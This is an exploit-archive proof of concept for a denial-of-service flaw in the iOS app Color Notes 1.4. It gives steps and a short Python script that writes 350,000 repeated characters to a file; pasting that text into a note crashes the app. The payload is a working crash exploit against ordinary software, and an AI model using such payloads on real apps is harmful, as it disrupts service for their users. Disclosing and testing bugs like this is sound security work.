Color Notes 1.4 - Denial of Service Exploit
[# Exploit Title: Color Notes 1.4 - Denial of Service (PoC)
# Author: Geovanni Ruiz
# Download Link: https://apps.apple.com/gt/app/color-notes/id830515136
# Version: 1.4
# Category: DoS (iOS)
##### Vulnerability #####
Color Notes is vulnerable to a DoS condition when a long list of characters is being used when creating a note:
# STEPS #
# Open the program.
# Create a new Note.
# Run the python exploit script payload.py, it will create a new payload.txt file
# Copy the content of the file "payload.txt"
# Paste the content from payload.txt twice in the new Note.
# Crashed
Successful exploitation will cause the application to stop working.
I have been able to test this exploit against iOS 14.2.
##### PoC #####
--> payload.py <--
#!/usr/bin/env python
buffer = "\x41" * 350000
try:
f = open("payload.txt","w")
f.write(buffer)
f.close()
print ("File created")
except:
print ("File cannot be created")
